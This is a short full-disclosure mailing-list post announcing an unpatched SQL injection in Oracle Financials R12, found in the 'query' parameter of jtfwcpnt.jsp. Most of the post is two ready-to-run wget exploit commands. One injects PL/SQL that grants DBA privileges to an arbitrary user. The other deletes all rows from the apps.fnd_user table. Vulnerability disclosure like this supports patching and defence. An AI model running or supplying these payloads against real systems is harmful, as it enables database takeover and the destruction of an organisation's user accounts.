Oracle Financials R12 SQL Injection

`Hi all,  
  
Yesterday a friend of mine told me that I "forget" to share with the  
general public one small detail about a presentation [1] I given at the  
conference RootedCon 2010 [2].  
  
In the presentation there is a currently working 0day against Oracle  
Financials R12. The 0day is too obvious and pretty simple to exploit (as  
is common with Oracle software). In Oracle Financials R12 there is one  
script called jtfwcpnt.jsp which receives a parameter called "query". I  
think that no other explanation is required. Anyway, this is a simple  
"exploit" extracted from the presentation:  
  
$ export TARGET=”http://<target>:<port>/OA_HTML”  
$ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute  
%20immediate%20'grant%20dba%20to%20mom';%20end;”  
$ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute  
%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;”  
  
Just in case you don't want to view the slides online or you hate (or  
fear) Flash as I do, you can download the slides from my website [3] in  
ODP format.  
  
[1] Online slides: http://bit.ly/c80WeS  
[2] RootedCon conference: http://www.rootedcon.es/  
[3] Slides: www.joxeankoret.com/odp/vulns_r12.odp.bz2  
  
Regards,  
Joxean Koret  
  
`